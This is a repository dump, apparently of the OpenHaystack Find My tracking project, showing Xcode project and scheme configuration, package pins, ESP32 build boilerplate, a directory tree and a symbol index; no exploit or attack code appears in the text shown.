782AC6C625F0E2D200554BF4 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
CODE_SIGN_STYLE = Automatic;
PRODUCT_NAME = "$(TARGET_NAME)";
};
name = Debug;
};
782AC6C725F0E2D200554BF4 /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
CODE_SIGN_STYLE = Automatic;
PRODUCT_NAME = "$(TARGET_NAME)";
};
name = Release;
};
/* End XCBuildConfiguration section */
/* Begin XCConfigurationList section */
78097EBE248E27E700096FCA /* Build configuration list for PBXProject "OFReadKeys" */ = {
isa = XCConfigurationList;
buildConfigurations = (
78097ED4248E27E800096FCA /* Debug */,
78097ED5248E27E800096FCA /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
78097ED6248E27E800096FCA /* Build configuration list for PBXNativeTarget "OFReadKeys" */ = {
isa = XCConfigurationList;
buildConfigurations = (
78097ED7248E27E800096FCA /* Debug */,
78097ED8248E27E800096FCA /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
782AC6B025F0DF3100554BF4 /* Build configuration list for PBXNativeTarget "OFFetchReports" */ = {
isa = XCConfigurationList;
buildConfigurations = (
782AC6AE25F0DF3100554BF4 /* Debug */,
782AC6AF25F0DF3100554BF4 /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
782AC6C525F0E2D200554BF4 /* Build configuration list for PBXAggregateTarget "Run OFFetchReports" */ = {
isa = XCConfigurationList;
buildConfigurations = (
782AC6C625F0E2D200554BF4 /* Debug */,
782AC6C725F0E2D200554BF4 /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
/* End XCConfigurationList section */
/* Begin XCRemoteSwiftPackageReference section */
782AC6D925F0E4C800554BF4 /* XCRemoteSwiftPackageReference "swift-nio-ssl" */ = {
isa = XCRemoteSwiftPackageReference;
repositoryURL = "https://github.com/apple/swift-nio-ssl";
requirement = {
kind = upToNextMajorVersion;
minimumVersion = 2.10.4;
};
};
782AC6DC25F0E4D900554BF4 /* XCRemoteSwiftPackageReference "swift-crypto" */ = {
isa = XCRemoteSwiftPackageReference;
repositoryURL = "https://github.com/apple/swift-crypto.git";
requirement = {
kind = upToNextMajorVersion;
minimumVersion = 1.1.4;
};
};
/* End XCRemoteSwiftPackageReference section */
/* Begin XCSwiftPackageProductDependency section */
782AC6DA25F0E4C800554BF4 /* NIOSSL */ = {
isa = XCSwiftPackageProductDependency;
package = 782AC6D925F0E4C800554BF4 /* XCRemoteSwiftPackageReference "swift-nio-ssl" */;
productName = NIOSSL;
};
782AC6DD25F0E4D900554BF4 /* Crypto */ = {
isa = XCSwiftPackageProductDependency;
package = 782AC6DC25F0E4D900554BF4 /* XCRemoteSwiftPackageReference "swift-crypto" */;
productName = Crypto;
};
/* End XCSwiftPackageProductDependency section */
};
rootObject = 78097EBB248E27E700096FCA /* Project object */;
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFReadKeys.xcodeproj/project.xcworkspace/contents.xcworkspacedata
================================================
<?xml version="1.0" encoding="UTF-8"?>
<Workspace
version = "1.0">
<FileRef
location = "self:">
</FileRef>
</Workspace>
================================================
FILE: CVE-2020-9986/OFReadKeys/OFReadKeys.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist
================================================
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>IDEDidComputeMac32BitWarning</key>
<true/>
</dict>
</plist>
================================================
FILE: CVE-2020-9986/OFReadKeys/OFReadKeys.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved
================================================
{
"object": {
"pins": [
{
"package": "swift-crypto",
"repositoryURL": "https://github.com/apple/swift-crypto.git",
"state": {
"branch": null,
"revision": "296d3308b4b2fa355cfe0de4ca411bf7a1cd8cf8",
"version": "1.1.4"
}
},
{
"package": "swift-nio",
"repositoryURL": "https://github.com/apple/swift-nio.git",
"state": {
"branch": null,
"revision": "6d3ca7e54e06a69d0f2612c2ce8bb8b7319085a4",
"version": "2.26.0"
}
},
{
"package": "swift-nio-ssl",
"repositoryURL": "https://github.com/apple/swift-nio-ssl",
"state": {
"branch": null,
"revision": "bbb38fbcbbe9dc4665b2c638dfa5681b01079bfb",
"version": "2.10.4"
}
}
]
},
"version": 1
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFReadKeys.xcodeproj/xcshareddata/xcschemes/OFFetchReports.xcscheme
================================================
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "1250"
version = "1.3">
<BuildAction
parallelizeBuildables = "YES"
buildImplicitDependencies = "YES">
<BuildActionEntries>
<BuildActionEntry
buildForTesting = "YES"
buildForRunning = "YES"
buildForProfiling = "YES"
buildForArchiving = "YES"
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "782AC69D25F0DF3000554BF4"
BuildableName = "OFFetchReports.app"
BlueprintName = "OFFetchReports"
ReferencedContainer = "container:OFReadKeys.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
</BuildAction>
<TestAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES">
<Testables>
</Testables>
</TestAction>
<LaunchAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
launchStyle = "0"
useCustomWorkingDirectory = "NO"
ignoresPersistentStateOnLaunch = "NO"
debugDocumentVersioning = "YES"
debugServiceExtension = "internal"
allowLocationSimulation = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "782AC69D25F0DF3000554BF4"
BuildableName = "OFFetchReports.app"
BlueprintName = "OFFetchReports"
ReferencedContainer = "container:OFReadKeys.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"
shouldUseLaunchSchemeArgsEnv = "YES"
savedToolIdentifier = ""
useCustomWorkingDirectory = "NO"
debugDocumentVersioning = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "782AC69D25F0DF3000554BF4"
BuildableName = "OFFetchReports.app"
BlueprintName = "OFFetchReports"
ReferencedContainer = "container:OFReadKeys.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</ProfileAction>
<AnalyzeAction
buildConfiguration = "Debug">
</AnalyzeAction>
<ArchiveAction
buildConfiguration = "Release"
revealArchiveInOrganizer = "YES">
</ArchiveAction>
</Scheme>
================================================
FILE: CVE-2020-9986/OFReadKeys/OFReadKeys.xcodeproj/xcshareddata/xcschemes/OFReadKeys.xcscheme
================================================
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "1240"
version = "1.3">
<BuildAction
parallelizeBuildables = "YES"
buildImplicitDependencies = "YES">
<BuildActionEntries>
<BuildActionEntry
buildForTesting = "YES"
buildForRunning = "YES"
buildForProfiling = "YES"
buildForArchiving = "YES"
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "78097EC2248E27E700096FCA"
BuildableName = "OFReadKeys.app"
BlueprintName = "OFReadKeys"
ReferencedContainer = "container:OFReadKeys.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
</BuildAction>
<TestAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES">
<Testables>
</Testables>
</TestAction>
<LaunchAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
launchStyle = "0"
useCustomWorkingDirectory = "NO"
ignoresPersistentStateOnLaunch = "NO"
debugDocumentVersioning = "YES"
debugServiceExtension = "internal"
allowLocationSimulation = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "78097EC2248E27E700096FCA"
BuildableName = "OFReadKeys.app"
BlueprintName = "OFReadKeys"
ReferencedContainer = "container:OFReadKeys.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"
shouldUseLaunchSchemeArgsEnv = "YES"
savedToolIdentifier = ""
useCustomWorkingDirectory = "NO"
debugDocumentVersioning = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "78097EC2248E27E700096FCA"
BuildableName = "OFReadKeys.app"
BlueprintName = "OFReadKeys"
ReferencedContainer = "container:OFReadKeys.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</ProfileAction>
<AnalyzeAction
buildConfiguration = "Debug">
</AnalyzeAction>
<ArchiveAction
buildConfiguration = "Release"
revealArchiveInOrganizer = "YES">
</ArchiveAction>
</Scheme>
================================================
FILE: CVE-2020-9986/OFReadKeys/OFReadKeys.xcodeproj/xcshareddata/xcschemes/Run OFFetchReports.xcscheme
================================================
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "1250"
version = "1.3">
<BuildAction
parallelizeBuildables = "YES"
buildImplicitDependencies = "YES">
<BuildActionEntries>
<BuildActionEntry
buildForTesting = "YES"
buildForRunning = "YES"
buildForProfiling = "YES"
buildForArchiving = "YES"
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "782AC6C425F0E2D200554BF4"
BuildableName = "Run OFFetchReports"
BlueprintName = "Run OFFetchReports"
ReferencedContainer = "container:OFReadKeys.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
</BuildAction>
<TestAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES">
<Testables>
</Testables>
</TestAction>
<LaunchAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
launchStyle = "0"
useCustomWorkingDirectory = "NO"
ignoresPersistentStateOnLaunch = "NO"
debugDocumentVersioning = "YES"
debugServiceExtension = "internal"
allowLocationSimulation = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "782AC69D25F0DF3000554BF4"
BuildableName = "OFFetchReports.app"
BlueprintName = "OFFetchReports"
ReferencedContainer = "container:OFReadKeys.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
<CommandLineArguments>
<CommandLineArgument
argument = ""
isEnabled = "YES">
</CommandLineArgument>
</CommandLineArguments>
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"
shouldUseLaunchSchemeArgsEnv = "YES"
savedToolIdentifier = ""
useCustomWorkingDirectory = "NO"
debugDocumentVersioning = "YES">
<MacroExpansion>
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "782AC6C425F0E2D200554BF4"
BuildableName = "Run OFFetchReports"
BlueprintName = "Run OFFetchReports"
ReferencedContainer = "container:OFReadKeys.xcodeproj">
</BuildableReference>
</MacroExpansion>
</ProfileAction>
<AnalyzeAction
buildConfiguration = "Debug">
</AnalyzeAction>
<ArchiveAction
buildConfiguration = "Release"
revealArchiveInOrganizer = "YES">
</ArchiveAction>
</Scheme>
================================================
FILE: Firmware/ESP32/.gitignore
================================================
build/**
venv/**
sdkconfig.old
================================================
FILE: Firmware/ESP32/.vscode/settings.json
================================================
{
"idf.port": "/dev/cu.usbserial-0001"
}
================================================
FILE: Firmware/ESP32/CMakeLists.txt
================================================
# The following lines of boilerplate have to be in your project's CMakeLists
# in this exact order for cmake to work correctly
cmake_minimum_required(VERSION 3.5)
set(SUPPORTED_TARGETS esp32)
gitextract_r_s2v_gj/
├── .github/
│ ├── ISSUE_TEMPLATE/
│ │ ├── bug_report.md
│ │ ├── feature_request.md
│ │ └── general-question.md
│ ├── actions/
│ │ └── build-esp-idf/
│ │ └── action.yaml
│ └── workflows/
│ ├── build-app.yml
│ ├── build-cve-2020-9986.yaml
│ ├── build-firmware-esp32.yaml
│ ├── build-firmware.yaml
│ └── release.yml
├── .gitignore
├── .gitmodules
├── .pre-commit
├── CITATION.cff
├── CVE-2020-9986/
│ └── OFReadKeys/
│ ├── .swiftlint.yml
│ ├── OFFetchReports/
│ │ ├── AppDelegate.swift
│ │ ├── Assets.xcassets/
│ │ │ ├── AccentColor.colorset/
│ │ │ │ └── Contents.json
│ │ │ ├── AppIcon.appiconset/
│ │ │ │ └── Contents.json
│ │ │ └── Contents.json
│ │ ├── Base.lproj/
│ │ │ └── Main.storyboard
│ │ ├── BoringSSL/
│ │ │ ├── BoringSSL.h
│ │ │ ├── BoringSSL.m
│ │ │ └── Bridging-Header.h
│ │ ├── ContentView.swift
│ │ ├── FindMy/
│ │ │ ├── DecryptReports.swift
│ │ │ ├── FindMyController.swift
│ │ │ ├── FindMyKeyDecoder.swift
│ │ │ └── Models.swift
│ │ ├── Info.plist
│ │ ├── MapView.swift
│ │ ├── MapViewController.swift
│ │ ├── MapViewController.xib
│ │ ├── OFFetchReports.entitlements
│ │ ├── OFFetchReportsMainView.swift
│ │ ├── Preview Content/
│ │ │ └── Preview Assets.xcassets/
│ │ │ └── Contents.json
│ │ ├── ReportsFetcher/
│ │ │ ├── ReportsFetcher.h
│ │ │ └── ReportsFetcher.m
│ │ └── SavePanel.swift
│ ├── OFReadKeys/
│ │ ├── AppDelegate.swift
│ │ ├── Assets.xcassets/
│ │ │ ├── AppIcon.appiconset/
│ │ │ │ └── Contents.json
│ │ │ └── Contents.json
│ │ ├── Base.lproj/
│ │ │ └── Main.storyboard
│ │ ├── ContentView.swift
│ │ ├── FindMyKeyExtractor.swift
│ │ ├── FindMyModels.swift
│ │ ├── Info.plist
│ │ ├── OFReadKeys.entitlements
│ │ ├── Preview Content/
│ │ │ └── Preview Assets.xcassets/
│ │ │ └── Contents.json
│ │ └── SavePanel.swift
│ └── OFReadKeys.xcodeproj/
│ ├── project.pbxproj
│ ├── project.xcworkspace/
│ │ ├── contents.xcworkspacedata
│ │ └── xcshareddata/
│ │ ├── IDEWorkspaceChecks.plist
│ │ └── swiftpm/
│ │ └── Package.resolved
│ └── xcshareddata/
│ └── xcschemes/
│ ├── OFFetchReports.xcscheme
│ ├── OFReadKeys.xcscheme
│ └── Run OFFetchReports.xcscheme
├── Firmware/
│ ├── ESP32/
│ │ ├── .gitignore
│ │ ├── .vscode/
│ │ │ └── settings.json
│ │ ├── CMakeLists.txt
│ │ ├── Makefile
│ │ ├── README.md
│ │ ├── flash_esp32.sh
│ │ ├── main/
│ │ │ ├── CMakeLists.txt
│ │ │ ├── Kconfig.projbuild
│ │ │ ├── component.mk
│ │ │ └── openhaystack_main.c
│ │ ├── partitions.csv
│ │ └── sdkconfig
│ ├── Linux_HCI/
│ │ ├── HCI.py
│ │ └── README.md
│ └── Microbit_v1/
│ ├── .gitignore
│ ├── LICENSE
│ ├── Makefile
│ ├── README.md
│ └── offline-finding/
│ ├── Makefile
│ └── main.c
├── LICENSE
├── Makefile
├── OpenHaystack/
│ ├── .clang-format
│ ├── .swift-format
│ ├── OpenHaystack/
│ │ ├── .ldid.OfflineFinder.entitlements
│ │ ├── AnisetteDataManager.swift
│ │ ├── Assets.xcassets/
│ │ │ ├── AppIcon.appiconset/
│ │ │ │ └── Contents.json
│ │ │ ├── Colors/
│ │ │ │ ├── Button.colorset/
│ │ │ │ │ └── Contents.json
│ │ │ │ ├── ButtonPressed.colorset/
│ │ │ │ │ └── Contents.json
│ │ │ │ ├── Contents.json
│ │ │ │ ├── ListRow1.colorset/
│ │ │ │ │ └── Contents.json
│ │ │ │ ├── ListRow2.colorset/
│ │ │ │ │ └── Contents.json
│ │ │ │ ├── PinColor.colorset/
│ │ │ │ │ └── Contents.json
│ │ │ │ └── PinImageColor.colorset/
│ │ │ │ └── Contents.json
│ │ │ └── Contents.json
│ │ ├── Base.lproj/
│ │ │ └── Main.storyboard
│ │ ├── BoringSSL/
│ │ │ ├── BoringSSL.h
│ │ │ └── BoringSSL.m
│ │ ├── FindMy/
│ │ │ ├── DecryptReports.swift
│ │ │ ├── FindMyController.swift
│ │ │ ├── FindMyKeyDecoder.swift
│ │ │ └── Models.swift
│ │ ├── HaystackApp/
│ │ │ ├── AccessoryController.swift
│ │ │ ├── AccessoryNearbyMonitor.swift
│ │ │ ├── Bluetooth/
│ │ │ │ ├── Advertisement.swift
│ │ │ │ └── BluetoothAccessoryScanner.swift
│ │ │ ├── DataToHexExtension.swift
│ │ │ ├── ESP32Controller.swift
│ │ │ ├── FileManager.swift
│ │ │ ├── Firmwares/
│ │ │ │ ├── ESP32/
│ │ │ │ │ └── .gitkeep
│ │ │ │ └── NRF/
│ │ │ │ ├── NRF52_NRF52832_openHayStack.hex
│ │ │ │ ├── NRF52_NRF52840_openHayStack.hex
│ │ │ │ ├── flash_nrf.py
│ │ │ │ └── flash_nrf.sh
│ │ │ ├── KeychainController.swift
│ │ │ ├── Mail Plugin/
│ │ │ │ ├── HaystackMail.mailbundle/
│ │ │ │ │ ├── Contents/
│ │ │ │ │ │ ├── Info.plist
│ │ │ │ │ │ └── MacOS/
│ │ │ │ │ │ └── HaystackMail
│ │ │ │ │ └── _CodeSignature/
│ │ │ │ │ └── CodeResources
│ │ │ │ └── MailPluginManager.swift
│ │ │ ├── MicrobitController.swift
│ │ │ ├── Model/
│ │ │ │ ├── Accessory.swift
│ │ │ │ └── PreviewData.swift
│ │ │ ├── NRFController.swift
│ │ │ ├── UpdateCheckController.swift
│ │ │ └── Views/
│ │ │ ├── AccessoryListEntry.swift
│ │ │ ├── AccessoryMapAnnotation.swift
│ │ │ ├── AccessoryMapView.swift
│ │ │ ├── ActivityIndicator.swift
│ │ │ ├── ESP32InstallSheet.swift
│ │ │ ├── IconSelectionView.swift
│ │ │ ├── ManageAccessoriesView.swift
│ │ │ ├── NRFInstallSheet.swift
│ │ │ ├── OpenHaystackMainView.swift
│ │ │ ├── OpenHaystackSettingsView.swift
│ │ │ ├── PopUpAlertView.swift
│ │ │ ├── Slider+LogScale.swift
│ │ │ └── Styles/
│ │ │ └── LargeButtonStyle.swift
│ │ ├── Info.plist
│ │ ├── MapViewController.swift
│ │ ├── MapViewController.xib
│ │ ├── OpenHaystackApp.swift
│ │ ├── Preview Content/
│ │ │ └── Preview Assets.xcassets/
│ │ │ └── Contents.json
│ │ ├── ReportsFetcher/
│ │ │ ├── ReportsFetcher.h
│ │ │ └── ReportsFetcher.m
│ │ └── SavePanel.swift
│ ├── OpenHaystack-Bridging-Header.h
│ ├── OpenHaystack.xcodeproj/
│ │ ├── project.pbxproj
│ │ ├── project.xcworkspace/
│ │ │ ├── contents.xcworkspacedata
│ │ │ └── xcshareddata/
│ │ │ ├── IDETemplateMacros.plist
│ │ │ ├── IDEWorkspaceChecks.plist
│ │ │ └── swiftpm/
│ │ │ └── Package.resolved
│ │ └── xcshareddata/
│ │ └── xcschemes/
│ │ ├── OpenHaystack (Preview).xcscheme
│ │ ├── OpenHaystack.xcscheme
│ │ ├── OpenHaystackMail.xcscheme
│ │ └── OpenHaystackTests.xcscheme
│ ├── OpenHaystackMail/
│ │ ├── ALTAnisetteData.h
│ │ ├── ALTAnisetteData.m
│ │ ├── AppleAccountData.h
│ │ ├── AppleAccountData.m
│ │ ├── Info.plist
│ │ ├── OpenHaystackPluginService.h
│ │ └── OpenHaystackPluginService.m
│ ├── OpenHaystackTests/
│ │ ├── BluetoothTests.swift
│ │ ├── Info.plist
│ │ ├── MicrocontrollerTests.swift
│ │ ├── OpenHaystackTests.swift
│ │ ├── UpdateCheckTests.swift
│ │ └── sampleKeys.plist
│ └── Resources/
│ └── codesign_offline_finder.sh
├── README.Reproducibility.md
├── README.md
├── Resources/
│ └── Icon/
│ ├── OpenHaystackIcon.graffle
│ └── create_appicon.py
└── openhaystack-mobile/
├── .gitignore
├── .metadata
├── README.md
├── analysis_options.yaml
├── android/
│ ├── .gitignore
│ ├── app/
│ │ ├── build.gradle
│ │ └── src/
│ │ ├── debug/
│ │ │ └── AndroidManifest.xml
│ │ ├── main/
│ │ │ ├── AndroidManifest.xml
│ │ │ ├── kotlin/
│ │ │ │ └── com/
│ │ │ │ └── example/
│ │ │ │ └── seemoo_lab_21_22/
│ │ │ │ └── MainActivity.kt
│ │ │ └── res/
│ │ │ ├── drawable/
│ │ │ │ └── launch_background.xml
│ │ │ ├── drawable-v21/
│ │ │ │ └── launch_background.xml
│ │ │ ├── values/
│ │ │ │ └── styles.xml
│ │ │ └── values-night/
│ │ │ └── styles.xml
│ │ └── profile/
│ │ └── AndroidManifest.xml
│ ├── build.gradle
│ ├── gradle/
│ │ └── wrapper/
│ │ └── gradle-wrapper.properties
│ ├── gradle.properties
│ └── settings.gradle
├── ios/
│ ├── .gitignore
│ ├── Flutter/
│ │ ├── AppFrameworkInfo.plist
│ │ ├── Debug.xcconfig
│ │ └── Release.xcconfig
│ ├── Podfile
│ ├── Runner/
│ │ ├── AppDelegate.swift
│ │ ├── Assets.xcassets/
│ │ │ ├── AppIcon.appiconset/
│ │ │ │ └── Contents.json
│ │ │ └── LaunchImage.imageset/
│ │ │ ├── Contents.json
│ │ │ └── README.md
│ │ ├── Base.lproj/
│ │ │ ├── LaunchScreen.storyboard
│ │ │ └── Main.storyboard
│ │ ├── Info.plist
│ │ ├── Runner-Bridging-Header.h
│ │ └── Runner.entitlements
│ ├── Runner.xcodeproj/
│ │ ├── project.pbxproj
│ │ ├── project.xcworkspace/
│ │ │ ├── contents.xcworkspacedata
│ │ │ └── xcshareddata/
│ │ │ └── IDEWorkspaceChecks.plist
│ │ └── xcshareddata/
│ │ └── xcschemes/
│ │ └── Runner.xcscheme
│ ├── Runner.xcworkspace/
│ │ ├── contents.xcworkspacedata
│ │ └── xcshareddata/
│ │ └── IDEWorkspaceChecks.plist
│ └── ShareExtension/
│ ├── Base.lproj/
│ │ └── MainInterface.storyboard
│ ├── Info.plist
│ ├── ShareExtension.entitlements
│ └── ShareViewController.swift
├── lib/
│ ├── accessory/
│ │ ├── accessory_color_selector.dart
│ │ ├── accessory_detail.dart
│ │ ├── accessory_dto.dart
│ │ ├── accessory_icon.dart
│ │ ├── accessory_icon_model.dart
│ │ ├── accessory_icon_selector.dart
│ │ ├── accessory_list.dart
│ │ ├── accessory_list_item.dart
│ │ ├── accessory_list_item_placeholder.dart
│ │ ├── accessory_model.dart
│ │ ├── accessory_registry.dart
│ │ └── no_accessories.dart
│ ├── dashboard/
│ │ ├── accessory_map_list_vert.dart
│ │ ├── dashboard_desktop.dart
│ │ └── dashboard_mobile.dart
│ ├── deployment/
│ │ ├── code_block.dart
│ │ ├── deployment_details.dart
│ │ ├── deployment_email.dart
│ │ ├── deployment_esp32.dart
│ │ ├── deployment_instructions.dart
│ │ ├── deployment_linux_hci.dart
│ │ ├── deployment_nrf51.dart
│ │ └── hyperlink.dart
│ ├── findMy/
│ │ ├── decrypt_reports.dart
│ │ ├── find_my_controller.dart
│ │ ├── models.dart
│ │ └── reports_fetcher.dart
│ ├── history/
│ │ ├── accessory_history.dart
│ │ ├── days_selection_slider.dart
│ │ └── location_popup.dart
│ ├── item_management/
│ │ ├── accessory_color_input.dart
│ │ ├── accessory_icon_input.dart
│ │ ├── accessory_id_input.dart
│ │ ├── accessory_name_input.dart
│ │ ├── accessory_pk_input.dart
│ │ ├── item_creation.dart
│ │ ├── item_export.dart
│ │ ├── item_file_import.dart
│ │ ├── item_import.dart
│ │ ├── item_management.dart
│ │ ├── loading_spinner.dart
│ │ └── new_item_action.dart
│ ├── location/
│ │ └── location_model.dart
│ ├── main.dart
│ ├── map/
│ │ └── map.dart
│ ├── placeholder/
│ │ ├── avatar_placeholder.dart
│ │ └── text_placeholder.dart
│ ├── preferences/
│ │ ├── preferences_page.dart
│ │ └── user_preferences_model.dart
│ └── splashscreen.dart
├── linux/
│ ├── .gitignore
│ ├── CMakeLists.txt
│ ├── flutter/
│ │ ├── CMakeLists.txt
│ │ ├── generated_plugin_registrant.cc
│ │ ├── generated_plugin_registrant.h
│ │ └── generated_plugins.cmake
│ ├── main.cc
│ ├── my_application.cc
│ └── my_application.h
├── macos/
│ ├── .gitignore
│ ├── Flutter/
│ │ ├── Flutter-Debug.xcconfig
│ │ ├── Flutter-Release.xcconfig
│ │ └── GeneratedPluginRegistrant.swift
│ ├── Podfile
│ ├── Runner/
│ │ ├── AppDelegate.swift
│ │ ├── Assets.xcassets/
│ │ │ └── AppIcon.appiconset/
│ │ │ └── Contents.json
│ │ ├── Base.lproj/
│ │ │ └── MainMenu.xib
│ │ ├── Configs/
│ │ │ ├── AppInfo.xcconfig
│ │ │ ├── Debug.xcconfig
│ │ │ ├── Release.xcconfig
│ │ │ └── Warnings.xcconfig
│ │ ├── DebugProfile.entitlements
│ │ ├── Info.plist
│ │ ├── MainFlutterWindow.swift
│ │ └── Release.entitlements
│ ├── Runner.xcodeproj/
│ │ ├── project.pbxproj
│ │ ├── project.xcworkspace/
│ │ │ └── xcshareddata/
│ │ │ └── IDEWorkspaceChecks.plist
│ │ └── xcshareddata/
│ │ └── xcschemes/
│ │ └── Runner.xcscheme
│ └── Runner.xcworkspace/
│ ├── contents.xcworkspacedata
│ └── xcshareddata/
│ └── IDEWorkspaceChecks.plist
├── pubspec.yaml
├── test/
│ └── widget_test.dart
├── web/
│ ├── index.html
│ └── manifest.json
└── windows/
├── .gitignore
├── CMakeLists.txt
├── flutter/
│ ├── CMakeLists.txt
│ ├── generated_plugin_registrant.cc
│ ├── generated_plugin_registrant.h
│ └── generated_plugins.cmake
└── runner/
├── CMakeLists.txt
├── Runner.rc
├── flutter_window.cpp
├── flutter_window.h
├── main.cpp
├── resource.h
├── runner.exe.manifest
├── utils.cpp
├── utils.h
├── win32_window.cpp
└── win32_window.h
SYMBOL INDEX (253 symbols across 66 files)
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/ReportsFetcher/ReportsFetcher.h
type _NSZone (line 27) | struct _NSZone
FILE: Firmware/ESP32/main/openhaystack_main.c
function esp_gap_cb (line 62) | static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_para...
function load_key (line 93) | int load_key(uint8_t *dst, size_t size) {
function set_addr_from_key (line 107) | void set_addr_from_key(esp_bd_addr_t addr, uint8_t *public_key) {
function set_payload_from_key (line 116) | void set_payload_from_key(uint8_t *payload, uint8_t *public_key) {
function app_main (line 123) | void app_main(void)
FILE: Firmware/Linux_HCI/HCI.py
function advertisement_template (line 11) | def advertisement_template():
function bytes_to_strarray (line 25) | def bytes_to_strarray(bytes_, with_prefix=False):
function run_hci_cmd (line 32) | def run_hci_cmd(cmd, hci="hci0", wait=1):
function start_advertising (line 41) | def start_advertising(key, interval_ms=2000):
function main (line 74) | def main(args):
FILE: Firmware/Microbit_v1/offline-finding/main.c
function set_addr_from_key (line 41) | void set_addr_from_key() {
function fill_adv_template_from_key (line 52) | void fill_adv_template_from_key() {
function main (line 59) | int main(void) {
FILE: OpenHaystack/OpenHaystack/HaystackApp/Firmwares/NRF/flash_nrf.py
function flash_openhaystack_fw (line 8) | def flash_openhaystack_fw(public_key, symmetric_key, update_interval, he...
FILE: OpenHaystack/OpenHaystack/ReportsFetcher/ReportsFetcher.h
type _NSZone (line 27) | struct _NSZone
FILE: openhaystack-mobile/lib/accessory/accessory_color_selector.dart
class AccessoryColorSelector (line 4) | class AccessoryColorSelector extends StatelessWidget {
method showColorSelection (line 16) | Future<Color?> showColorSelection(BuildContext context, Color initialC...
method build (line 46) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/accessory/accessory_detail.dart
class AccessoryDetail (line 10) | class AccessoryDetail extends StatefulWidget {
method createState (line 23) | _AccessoryDetailState createState()
class _AccessoryDetailState (line 26) | class _AccessoryDetailState extends State<AccessoryDetail> {
method initState (line 32) | void initState()
method build (line 39) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/accessory/accessory_dto.dart
class AccessoryDTO (line 2) | class AccessoryDTO {
method toJson (line 78) | Map<String, dynamic> toJson()
FILE: openhaystack-mobile/lib/accessory/accessory_icon.dart
class AccessoryIcon (line 4) | class AccessoryIcon extends StatelessWidget {
method build (line 23) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/accessory/accessory_icon_model.dart
class AccessoryIconModel (line 3) | class AccessoryIconModel {
method mapIcon (line 36) | IconData? mapIcon(String iconName)
FILE: openhaystack-mobile/lib/accessory/accessory_icon_selector.dart
type IconChangeListener (line 6) | typedef IconChangeListener = void Function(String? newValue);
class AccessoryIconSelector (line 8) | class AccessoryIconSelector extends StatelessWidget {
method showIconSelection (line 31) | Future<String?> showIconSelection(BuildContext context, String current...
method build (line 59) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/accessory/accessory_list.dart
